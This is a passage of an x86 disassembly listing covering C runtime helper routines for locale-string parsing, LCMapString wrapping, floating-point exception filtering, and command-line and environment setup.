0 mov ecx, [ebp+arg_8] mov word ptr [ecx+2], 0 mov edx, [ebp+arg_8] mov word ptr [edx+4], 0 loc_427239: ; CODE XREF: sub_4271E0+3Dj cmp [ebp+arg_C], 0 jz short loc_427248 mov eax, [ebp+arg_C] mov dword ptr [eax], 0 loc_427248: ; CODE XREF: sub_4271E0+5Dj mov eax, [ebp+arg_4] jmp loc_427360 ; --------------------------------------------------------------------------- loc_427250: ; CODE XREF: sub_4271E0+1Fj ; sub_4271E0+2Aj mov ecx, [ebp+arg_0] push ecx push offset dword_4478D8 call sub_418A30 add esp, 8 test eax, eax jz loc_427318 mov edx, [ebp+arg_0] push edx push offset dword_447854 call sub_418A30 add esp, 8 test eax, eax jz loc_427318 mov eax, [ebp+arg_0] push eax lea ecx, [ebp+var_88] push ecx call sub_4273D0 add esp, 8 test eax, eax jz short loc_4272A0 xor eax, eax jmp loc_427360 ; --------------------------------------------------------------------------- loc_4272A0: ; CODE XREF: sub_4271E0+B7j lea edx, [ebp+var_88] push edx push offset dword_4DE060 lea eax, [ebp+var_88] push eax call sub_42D2B0 add esp, 0Ch test eax, eax jnz short loc_4272C6 xor eax, eax jmp loc_427360 ; --------------------------------------------------------------------------- loc_4272C6: ; CODE XREF: sub_4271E0+DDj xor ecx, ecx mov cx, word_4DE064 mov dword_4DE068, ecx lea edx, [ebp+var_88] push edx push offset dword_4478D8 call sub_427530 add esp, 8 mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_427306 mov edx, [ebp+arg_0] push edx push offset dword_447854 call sub_418870 add esp, 8 jmp short loc_427318 ; --------------------------------------------------------------------------- loc_427306: ; CODE XREF: sub_4271E0+111j push offset dword_4478D8 push offset dword_447854 call sub_418870 add esp, 8 loc_427318: ; CODE XREF: sub_4271E0+83j ; sub_4271E0+9Cj ... cmp [ebp+arg_8], 0 jz short loc_427331 push 6 push offset dword_4DE060 mov eax, [ebp+arg_8] push eax call sub_419330 add esp, 0Ch loc_427331: ; CODE XREF: sub_4271E0+13Cj cmp [ebp+arg_C], 0 jz short loc_42734A push 4 push offset dword_4DE068 mov ecx, [ebp+arg_C] push ecx call sub_419330 add esp, 0Ch loc_42734A: ; CODE XREF: sub_4271E0+155j push offset dword_4478D8 mov edx, [ebp+arg_4] push edx call sub_418870 add esp, 8 mov eax, offset dword_4478D8 loc_427360: ; CODE XREF: sub_4271E0+11j ; sub_4271E0+6Bj ... mov esp, ebp pop ebp retn sub_4271E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427370 proc near ; CODE XREF: sub_426F40+12Bp ; DATA XREF: .data:off_447968o push ebp mov ebp, esp xor eax, eax pop ebp retn sub_427370 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427380 proc near ; CODE XREF: sub_4270E0+75p ; sub_427530+30p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 8 lea eax, [ebp+arg_8] mov [ebp+var_4], eax mov [ebp+var_8], 0 jmp short loc_42739E ; --------------------------------------------------------------------------- loc_427395: ; CODE XREF: sub_427380+42j mov ecx, [ebp+var_8] add ecx, 1 mov [ebp+var_8], ecx loc_42739E: ; CODE XREF: sub_427380+13j mov edx, [ebp+var_8] cmp edx, [ebp+arg_4] jge short loc_4273C4 mov eax, [ebp+var_4] add eax, 4 mov [ebp+var_4], eax mov ecx, [ebp+var_4] mov edx, [ecx-4] push edx mov eax, [ebp+arg_0] push eax call sub_418880 add esp, 8 jmp short loc_427395 ; --------------------------------------------------------------------------- loc_4273C4: ; CODE XREF: sub_427380+24j mov [ebp+var_4], 0 mov esp, ebp pop ebp retn sub_427380 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4273D0 proc near ; CODE XREF: sub_4271E0+ADp var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push 88h push 0 mov eax, [ebp+arg_0] push eax call sub_417700 add esp, 0Ch mov ecx, [ebp+arg_4] movsx edx, byte ptr [ecx] test edx, edx jnz short loc_4273FA xor eax, eax jmp loc_427529 ; --------------------------------------------------------------------------- loc_4273FA: ; CODE XREF: sub_4273D0+21j mov eax, [ebp+arg_4] movsx ecx, byte ptr [eax] cmp ecx, 2Eh jnz short loc_427430 mov edx, [ebp+arg_4] movsx eax, byte ptr [edx+1] test eax, eax jz short loc_427430 mov ecx, [ebp+arg_4] add ecx, 1 push ecx mov edx, [ebp+arg_0] add edx, 80h push edx call sub_418870 add esp, 8 xor eax, eax jmp loc_427529 ; --------------------------------------------------------------------------- loc_427430: ; CODE XREF: sub_4273D0+33j ; sub_4273D0+3Ej mov [ebp+var_4], 0 jmp short loc_427442 ; --------------------------------------------------------------------------- loc_427439: ; CODE XREF: sub_4273D0+152j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_427442: ; CODE XREF: sub_4273D0+67j push offset a___0 ; "_.," mov ecx, [ebp+arg_4] push ecx call sub_42D230 add esp, 8 mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_427464 or eax, 0FFFFFFFFh jmp loc_427529 ; --------------------------------------------------------------------------- loc_427464: ; CODE XREF: sub_4273D0+8Aj mov edx, [ebp+arg_4] add edx, [ebp+var_C] mov al, [edx] mov [ebp+var_8], al cmp [ebp+var_4], 0 jnz short loc_42749A cmp [ebp+var_C], 40h jge short loc_42749A movsx ecx, [ebp+var_8] cmp ecx, 2Eh jz short loc_42749A mov edx, [ebp+var_C] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_417760 add esp, 0Ch jmp short loc_427500 ; --------------------------------------------------------------------------- loc_42749A: ; CODE XREF: sub_4273D0+A3j ; sub_4273D0+A9j ... cmp [ebp+var_4], 1 jnz short loc_4274C8 cmp [ebp+var_C], 40h jge short loc_4274C8 movsx edx, [ebp+var_8] cmp edx, 5Fh jz short loc_4274C8 mov eax, [ebp+var_C] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] add edx, 40h push edx call sub_417760 add esp, 0Ch jmp short loc_427500 ; --------------------------------------------------------------------------- loc_4274C8: ; CODE XREF: sub_4273D0+CEj ; sub_4273D0+D4j ... cmp [ebp+var_4], 2 jnz short loc_4274FB movsx eax, [ebp+var_8] test eax, eax jz short loc_4274DF movsx ecx, [ebp+var_8] cmp ecx, 2Ch jnz short loc_4274FB loc_4274DF: ; CODE XREF: sub_4273D0+104j mov edx, [ebp+var_C] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] add ecx, 80h push ecx call sub_417760 add esp, 0Ch jmp short loc_427500 ; --------------------------------------------------------------------------- loc_4274FB: ; CODE XREF: sub_4273D0+FCj ; sub_4273D0+10Dj or eax, 0FFFFFFFFh jmp short loc_427529 ; --------------------------------------------------------------------------- loc_427500: ; CODE XREF: sub_4273D0+C8j ; sub_4273D0+F6j ... movsx edx, [ebp+var_8] cmp edx, 2Ch jnz short loc_42750B jmp short loc_427527 ; --------------------------------------------------------------------------- loc_42750B: ; CODE XREF: sub_4273D0+137j movsx eax, [ebp+var_8] test eax, eax jnz short loc_427515 jmp short loc_427527 ; --------------------------------------------------------------------------- loc_427515: ; CODE XREF: sub_4273D0+141j mov ecx, [ebp+var_C] mov edx, [ebp+arg_4] lea eax, [edx+ecx+1] mov [ebp+arg_4], eax jmp loc_427439 ; --------------------------------------------------------------------------- loc_427527: ; CODE XREF: sub_4273D0+139j ; sub_4273D0+143j xor eax, eax loc_427529: ; CODE XREF: sub_4273D0+25j ; sub_4273D0+5Bj ... mov esp, ebp pop ebp retn sub_4273D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427530 proc near ; CODE XREF: sub_4271E0+101p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_418870 add esp, 8 mov edx, [ebp+arg_4] movsx eax, byte ptr [edx+40h] test eax, eax jz short loc_427568 mov ecx, [ebp+arg_4] add ecx, 40h push ecx push offset a__2 ; "_" push 2 mov edx, [ebp+arg_0] push edx call sub_427380 add esp, 10h loc_427568: ; CODE XREF: sub_427530+1Cj mov eax, [ebp+arg_4] movsx ecx, byte ptr [eax+80h] test ecx, ecx jz short loc_427593 mov edx, [ebp+arg_4] add edx, 80h push edx push offset a__1 ; "." push 2 mov eax, [ebp+arg_0] push eax call sub_427380 add esp, 10h loc_427593: ; CODE XREF: sub_427530+44j pop ebp retn sub_427530 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4275A0 proc near ; CODE XREF: sub_41A730+EBp ; sub_421FA0+121p ... var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4353A0 push offset sub_41BD64 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFDCh push ebx push esi push edi mov [ebp+var_18], esp cmp dword_4DE08C, 0 jnz short loc_427626 push 0 push 0 push 1 push offset dword_435398 push 100h push 0 call dword_4E04C8 ; LCMapStringW test eax, eax jz short loc_4275F7 mov dword_4DE08C, 1 jmp short loc_427626 ; --------------------------------------------------------------------------- loc_4275F7: ; CODE XREF: sub_4275A0+49j push 0 push 0 push 1 push offset dword_435394 push 100h push 0 call dword_4E04C4 ; LCMapStringA test eax, eax jz short loc_42761F mov dword_4DE08C, 2 jmp short loc_427626 ; --------------------------------------------------------------------------- loc_42761F: ; CODE XREF: sub_4275A0+71j xor eax, eax jmp loc_427891 ; --------------------------------------------------------------------------- loc_427626: ; CODE XREF: sub_4275A0+2Dj ; sub_4275A0+55j ... cmp [ebp+arg_C], 0 jle short loc_42763F mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx call sub_4278B0 add esp, 8 mov [ebp+arg_C], eax loc_42763F: ; CODE XREF: sub_4275A0+8Aj cmp dword_4DE08C, 2 jnz short loc_42766B mov edx, [ebp+arg_14] push edx mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call dword_4E04C4 ; LCMapStringA jmp loc_427891 ; --------------------------------------------------------------------------- loc_42766B: ; CODE XREF: sub_4275A0+A6j cmp dword_4DE08C, 1 jnz loc_42788F cmp [ebp+arg_18], 0 jnz short loc_427687 mov edx, dword_4DE084 mov [ebp+arg_18], edx loc_427687: ; CODE XREF: sub_4275A0+DCj push 0 push 0 mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_1C] neg edx sbb edx, edx and edx, 8 add edx, 1 push edx mov eax, [ebp+arg_18] push eax call dword_4E0428 ; MultiByteToWideChar mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jnz short loc_4276BB xor eax, eax jmp loc_427891 ; --------------------------------------------------------------------------- loc_4276BB: ; CODE XREF: sub_4275A0+112j mov [ebp+var_4], 0 mov eax, [ebp+var_1C] shl eax, 1 add eax, 3 and al, 0FCh call sub_4181D0 mov [ebp+var_30], esp mov [ebp+var_18], esp mov ecx, [ebp+var_30] mov [ebp+var_24], ecx mov [ebp+var_4], 0FFFFFFFFh jmp short loc_4276FD ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_24], 0 mov [ebp+var_4], 0FFFFFFFFh loc_4276FD: ; CODE XREF: sub_4275A0+144j cmp [ebp+var_24], 0 jnz short loc_42770A xor eax, eax jmp loc_427891 ; --------------------------------------------------------------------------- loc_42770A: ; CODE XREF: sub_4275A0+161j mov edx, [ebp+var_1C] push edx mov eax, [ebp+var_24] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx push 1 mov eax, [ebp+arg_18] push eax call dword_4E0428 ; MultiByteToWideChar test eax, eax jnz short loc_427731 xor eax, eax jmp loc_427891 ; --------------------------------------------------------------------------- loc_427731: ; CODE XREF: sub_4275A0+188j push 0 push 0 mov ecx, [ebp+var_1C] push ecx mov edx, [ebp+var_24] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call dword_4E04C8 ; LCMapStringW mov [ebp+var_28], eax cmp [ebp+var_28], 0 jnz short loc_42775B xor eax, eax jmp loc_427891 ; --------------------------------------------------------------------------- loc_42775B: ; CODE XREF: sub_4275A0+1B2j mov edx, [ebp+arg_4] and edx, 400h test edx, edx jz short loc_4277AB cmp [ebp+arg_14], 0 jz short loc_4277A6 mov eax, [ebp+var_28] cmp eax, [ebp+arg_14] jle short loc_42777D xor eax, eax jmp loc_427891 ; --------------------------------------------------------------------------- loc_42777D: ; CODE XREF: sub_4275A0+1D4j mov ecx, [ebp+arg_14] push ecx mov edx, [ebp+arg_10] push edx mov eax, [ebp+var_1C] push eax mov ecx, [ebp+var_24] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call dword_4E04C8 ; LCMapStringW test eax, eax jnz short loc_4277A6 xor eax, eax jmp loc_427891 ; --------------------------------------------------------------------------- loc_4277A6: ; CODE XREF: sub_4275A0+1CCj ; sub_4275A0+1FDj jmp loc_42788A ; --------------------------------------------------------------------------- loc_4277AB: ; CODE XREF: sub_4275A0+1C6j mov ecx, [ebp+var_28] mov [ebp+var_2C], ecx mov [ebp+var_4], 1 mov eax, [ebp+var_2C] shl eax, 1 add eax, 3 and al, 0FCh call sub_4181D0 mov [ebp+var_34], esp mov [ebp+var_18], esp mov edx, [ebp+var_34] mov [ebp+var_20], edx mov [ebp+var_4], 0FFFFFFFFh jmp short loc_4277F3 ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_20], 0 mov [ebp+var_4], 0FFFFFFFFh loc_4277F3: ; CODE XREF: sub_4275A0+23Aj cmp [ebp+var_20], 0 jnz short loc_427800 xor eax, eax jmp loc_427891 ; --------------------------------------------------------------------------- loc_427800: ; CODE XREF: sub_4275A0+257j mov eax, [ebp+var_2C] push eax mov ecx, [ebp+var_20] push ecx mov edx, [ebp+var_1C] push edx mov eax, [ebp+var_24] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call dword_4E04C8 ; LCMapStringW test eax, eax jnz short loc_427826 xor eax, eax jmp short loc_427891 ; --------------------------------------------------------------------------- loc_427826: ; CODE XREF: sub_4275A0+280j cmp [ebp+arg_14], 0 jnz short loc_42785A push 0 push 0 push 0 push 0 mov eax, [ebp+var_2C] push eax mov ecx, [ebp+var_20] push ecx push 220h mov edx, [ebp+arg_18] push edx call dword_4E0424 ; WideCharToMultiByte mov [ebp+var_28], eax cmp [ebp+var_28], 0 jnz short loc_427858 xor eax, eax jmp short loc_427891 ; --------------------------------------------------------------------------- loc_427858: ; CODE XREF: sub_4275A0+2B2j jmp short loc_42788A ; --------------------------------------------------------------------------- loc_42785A: ; CODE XREF: sub_4275A0+28Aj push 0 push 0 mov eax, [ebp+arg_14] push eax mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+var_2C] push edx mov eax, [ebp+var_20] push eax push 220h mov ecx, [ebp+arg_18] push ecx call dword_4E0424 ; WideCharToMultiByte mov [ebp+var_28], eax cmp [ebp+var_28], 0 jnz short loc_42788A xor eax, eax jmp short loc_427891 ; --------------------------------------------------------------------------- loc_42788A: ; CODE XREF: sub_4275A0:loc_4277A6j ; sub_4275A0:loc_427858j ... mov eax, [ebp+var_28] jmp short loc_427891 ; --------------------------------------------------------------------------- loc_42788F: ; CODE XREF: sub_4275A0+D2j xor eax, eax loc_427891: ; CODE XREF: sub_4275A0+81j ; sub_4275A0+C6j ... lea esp, [ebp-40h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4275A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4278B0 proc near ; CODE XREF: sub_4275A0+94p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_4] mov [ebp+var_8], eax mov ecx, [ebp+arg_0] mov [ebp+var_4], ecx loc_4278C2: ; CODE XREF: sub_4278B0+35j mov edx, [ebp+var_8] mov eax, [ebp+var_8] sub eax, 1 mov [ebp+var_8], eax test edx, edx jz short loc_4278E7 mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] test edx, edx jz short loc_4278E7 mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax jmp short loc_4278C2 ; --------------------------------------------------------------------------- loc_4278E7: ; CODE XREF: sub_4278B0+20j ; sub_4278B0+2Aj mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] test edx, edx jnz short loc_4278F9 mov eax, [ebp+var_4] sub eax, [ebp+arg_0] jmp short loc_4278FC ; --------------------------------------------------------------------------- loc_4278F9: ; CODE XREF: sub_4278B0+3Fj mov eax, [ebp+arg_4] loc_4278FC: ; CODE XREF: sub_4278B0+47j mov esp, ebp pop ebp retn sub_4278B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427900 proc near ; CODE XREF: sub_41AB00+144p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h call sub_421920 mov [ebp+var_8], eax mov eax, [ebp+var_8] mov ecx, [eax+50h] push ecx mov edx, [ebp+arg_0] push edx call sub_427AC0 add esp, 8 mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_427933 mov eax, [ebp+var_10] cmp dword ptr [eax+8], 0 jnz short loc_427942 loc_427933: ; CODE XREF: sub_427900+28j mov ecx, [ebp+arg_4] push ecx call dword_4E04CC ; UnhandledExceptionFilter jmp loc_427ABA ; --------------------------------------------------------------------------- loc_427942: ; CODE XREF: sub_427900+31j mov edx, [ebp+var_10] cmp dword ptr [edx+8], 5 jnz short loc_42795F mov eax, [ebp+var_10] mov dword ptr [eax+8], 0 mov eax, 1 jmp loc_427ABA ; --------------------------------------------------------------------------- loc_42795F: ; CODE XREF: sub_427900+49j mov ecx, [ebp+var_10] cmp dword ptr [ecx+8], 1 jnz short loc_427970 or eax, 0FFFFFFFFh jmp loc_427ABA ; --------------------------------------------------------------------------- loc_427970: ; CODE XREF: sub_427900+66j mov edx, [ebp+var_10] mov eax, [edx+8] mov [ebp+var_4], eax mov ecx, [ebp+var_8] mov edx, [ecx+54h] mov [ebp+var_18], edx mov eax, [ebp+var_8] mov ecx, [ebp+arg_4] mov [eax+54h], ecx mov edx, [ebp+var_10] cmp dword ptr [edx+4], 8 jnz loc_427A97 mov eax, dword_447A20 mov [ebp+var_14], eax jmp short loc_4279AB ; --------------------------------------------------------------------------- loc_4279A2: ; CODE XREF: sub_427900+D0j mov ecx, [ebp+var_14] add ecx, 1 mov [ebp+var_14], ecx loc_4279AB: ; CODE XREF: sub_427900+A0j mov edx, dword_447A20 add edx, dword_447A24 cmp [ebp+var_14], edx jge short loc_4279D2 mov eax, [ebp+var_14] imul eax, 0Ch mov ecx, [ebp+var_8] mov edx, [ecx+50h] mov dword ptr [edx+eax+8], 0 jmp short loc_4279A2 ; --------------------------------------------------------------------------- loc_4279D2: ; CODE XREF: sub_427900+BAj mov eax, [ebp+var_8] mov ecx, [eax+58h] mov [ebp+var_C], ecx mov edx, [ebp+var_10] cmp dword ptr [edx], 0C000008Eh jnz short loc_4279F5 mov eax, [ebp+var_8] mov dword ptr [eax+58h], 83h jmp loc_427A7D ; --------------------------------------------------------------------------- loc_4279F5: ; CODE XREF: sub_427900+E4j mov ecx, [ebp+var_10] cmp dword ptr [ecx], 0C0000090h jnz short loc_427A0C mov edx, [ebp+var_8] mov dword ptr [edx+58h], 81h jmp short loc_427A7D ; --------------------------------------------------------------------------- loc_427A0C: ; CODE XREF: sub_427900+FEj mov eax, [ebp+var_10] cmp dword ptr [eax], 0C0000091h jnz short loc_427A23 mov ecx, [ebp+var_8] mov dword ptr [ecx+58h], 84h jmp short loc_427A7D ; --------------------------------------------------------------------------- loc_427A23: ; CODE XREF: sub_427900+115j mov edx, [ebp+var_10] cmp dword ptr [edx], 0C0000093h jnz short loc_427A3A mov eax, [ebp+var_8] mov dword ptr [eax+58h], 85h jmp short loc_427A7D ; --------------------------------------------------------------------------- loc_427A3A: ; CODE XREF: sub_427900+12Cj mov ecx, [ebp+var_10] cmp dword ptr [ecx], 0C000008Dh jnz short loc_427A51 mov edx, [ebp+var_8] mov dword ptr [edx+58h], 82h jmp short loc_427A7D ; --------------------------------------------------------------------------- loc_427A51: ; CODE XREF: sub_427900+143j mov eax, [ebp+var_10] cmp dword ptr [eax], 0C000008Fh jnz short loc_427A68 mov ecx, [ebp+var_8] mov dword ptr [ecx+58h], 86h jmp short loc_427A7D ; --------------------------------------------------------------------------- loc_427A68: ; CODE XREF: sub_427900+15Aj mov edx, [ebp+var_10] cmp dword ptr [edx], 0C0000092h jnz short loc_427A7D mov eax, [ebp+var_8] mov dword ptr [eax+58h], 8Ah loc_427A7D: ; CODE XREF: sub_427900+F0j ; sub_427900+10Aj ... mov ecx, [ebp+var_8] mov edx, [ecx+58h] push edx push 8 call [ebp+var_4] add esp, 8 mov eax, [ebp+var_8] mov ecx, [ebp+var_C] mov [eax+58h], ecx jmp short loc_427AAE ; --------------------------------------------------------------------------- loc_427A97: ; CODE XREF: sub_427900+92j mov edx, [ebp+var_10] mov dword ptr [edx+8], 0 mov eax, [ebp+var_10] mov ecx, [eax+4] push ecx call [ebp+var_4] add esp, 4 loc_427AAE: ; CODE XREF: sub_427900+195j mov edx, [ebp+var_8] mov eax, [ebp+var_18] mov [edx+54h], eax or eax, 0FFFFFFFFh loc_427ABA: ; CODE XREF: sub_427900+3Dj ; sub_427900+5Aj ... mov esp, ebp pop ebp retn sub_427900 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427AC0 proc near ; CODE XREF: sub_427900+19p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] mov [ebp+var_4], eax loc_427ACA: ; CODE XREF: sub_427AC0+30j mov ecx, [ebp+var_4] mov edx, [ecx] cmp edx, [ebp+arg_0] jz short loc_427AF2 mov eax, [ebp+var_4] add eax, 0Ch mov [ebp+var_4], eax mov ecx, dword_447A2C imul ecx, 0Ch mov edx, [ebp+arg_4] add edx, ecx cmp [ebp+var_4], edx jnb short loc_427AF2 jmp short loc_427ACA ; --------------------------------------------------------------------------- loc_427AF2: ; CODE XREF: sub_427AC0+12j ; sub_427AC0+2Ej mov eax, dword_447A2C imul eax, 0Ch mov ecx, [ebp+arg_4] add ecx, eax cmp [ebp+var_4], ecx jnb short loc_427B0E mov edx, [ebp+var_4] mov eax, [edx] cmp eax, [ebp+arg_0] jz short loc_427B12 loc_427B0E: ; CODE XREF: sub_427AC0+42j xor eax, eax jmp short loc_427B15 ; --------------------------------------------------------------------------- loc_427B12: ; CODE XREF: sub_427AC0+4Cj mov eax, [ebp+var_4] loc_427B15: ; CODE XREF: sub_427AC0+50j mov esp, ebp pop ebp retn sub_427AC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427B20 proc near ; CODE XREF: sub_41AB00+E8p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx cmp dword_4DF68C, 0 jnz short loc_427B32 call sub_4222D0 loc_427B32: ; CODE XREF: sub_427B20+Bj mov eax, dword_4DF684 mov [ebp+var_4], eax mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] cmp edx, 22h jnz short loc_427B9C loc_427B46: ; CODE XREF: sub_427B20:loc_427B83j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] cmp edx, 22h jz short loc_427B85 mov eax, [ebp+var_4] xor ecx, ecx mov cl, [eax] test ecx, ecx jz short loc_427B85 mov edx, [ebp+var_4] xor eax, eax mov al, [edx] push eax call sub_42E150 add esp, 4 test eax, eax jz short loc_427B83 mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_427B83: ; CODE XREF: sub_427B20+58j jmp short loc_427B46 ; --------------------------------------------------------------------------- loc_427B85: ; CODE XREF: sub_427B20+39j ; sub_427B20+44j mov edx, [ebp+var_4] xor eax, eax mov al, [edx] cmp eax, 22h jnz short loc_427B9A mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_427B9A: ; CODE XREF: sub_427B20+6Fj jmp short loc_427BB3 ; --------------------------------------------------------------------------- loc_427B9C: ; CODE XREF: sub_427B20+24j ; sub_427B20+91j mov edx, [ebp+var_4] xor eax, eax mov al, [edx] cmp eax, 20h jle short loc_427BB3 mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx jmp short loc_427B9C ; --------------------------------------------------------------------------- loc_427BB3: ; CODE XREF: sub_427B20:loc_427B9Aj ; sub_427B20+86j ... mov edx, [ebp+var_4] xor eax, eax mov al, [edx] test eax, eax jz short loc_427BD5 mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] cmp edx, 20h jg short loc_427BD5 mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax jmp short loc_427BB3 ; --------------------------------------------------------------------------- loc_427BD5: ; CODE XREF: sub_427B20+9Cj ; sub_427B20+A8j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_427B20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427BE0 proc near ; CODE XREF: sub_41AB00+CDp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 10h cmp dword_4DF68C, 0 jnz short loc_427BF4 call sub_4222D0 loc_427BF4: ; CODE XREF: sub_427BE0+Dj mov [ebp+var_8], 0 mov eax, dword_4DDFD0 mov [ebp+var_4], eax loc_427C03: ; CODE XREF: sub_427BE0+57j mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] test edx, edx jz short loc_427C39 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 3Dh jz short loc_427C21 mov edx, [ebp+var_8] add edx, 1 mov [ebp+var_8], edx loc_427C21: ; CODE XREF: sub_427BE0+36j mov eax, [ebp+var_4] push eax call sub_414EC0 add esp, 4 mov ecx, [ebp+var_4] lea edx, [ecx+eax+1] mov [ebp+var_4], edx jmp short loc_427C03 ; --------------------------------------------------------------------------- loc_427C39: ; CODE XREF: sub_427BE0+2Bj push 6Dh push offset dword_4353B8 push 2 mov eax, [ebp+var_8] lea ecx, ds:4[eax*4] push ecx call sub_4150C0 add esp, 10h mov [ebp+var_C], eax mov edx, [ebp+var_C] mov dword_4DDFA0, edx cmp dword_4DDFA0, 0 jnz short loc_427C74 push 9 call sub_41AC70 add esp, 4 loc_427C74: ; CODE XREF: sub_427BE0+88j mov eax, dword_4DDFD0 mov [ebp+var_4], eax jmp short loc_427C87 ; --------------------------------------------------------------------------- loc_427C7E: ; CODE XREF: sub_427BE0:loc_427CF5j mov ecx, [ebp+var_4] add ecx, [ebp+var_10] mov [ebp+var_4], ecx loc_427C87: ; CODE XREF: sub_427BE0+9Cj mov edx, [ebp+var_4] movsx eax, byte ptr [edx] test eax, eax jz short loc_427CF7 mov ecx, [ebp+var_4] push ecx call sub_414EC0 add esp, 4 add eax, 1 mov [ebp+var_10], eax mov edx, [ebp+var_4] movsx eax, byte ptr [edx] cmp eax, 3Dh jz short loc_427CF5 push 79h push offset dword_4353B8 push 2 mov ecx, [ebp+var_10] push ecx call sub_4150C0 add esp, 10h mov edx, [ebp+var_C] mov [edx], eax mov eax, [ebp+var_C] cmp dword ptr [eax], 0 jnz short loc_427CDA push 9 call sub_41AC70 add esp, 4 loc_427CDA: ; CODE XREF: sub_427BE0+EEj mov ecx, [ebp+var_4] push ecx mov edx, [ebp+var_C] mov eax, [edx] push eax call sub_418870 add esp, 8 mov ecx, [ebp+var_C] add ecx, 4 mov [ebp+var_C], ecx loc_427CF5: ; CODE XREF: sub_427BE0+CCj jmp short loc_427C7E ; --------------------------------------------------------------------------- loc_427CF7: ; CODE XREF: sub_427BE0+AFj push 2 mov edx, dword_4DDFD0 push edx call sub_415C60 add esp, 8 mov dword_4DDFD0, 0 mov eax, [ebp+var_C] mov dword ptr [eax], 0 mov dword_4DF688, 1 mov esp, ebp pop ebp retn 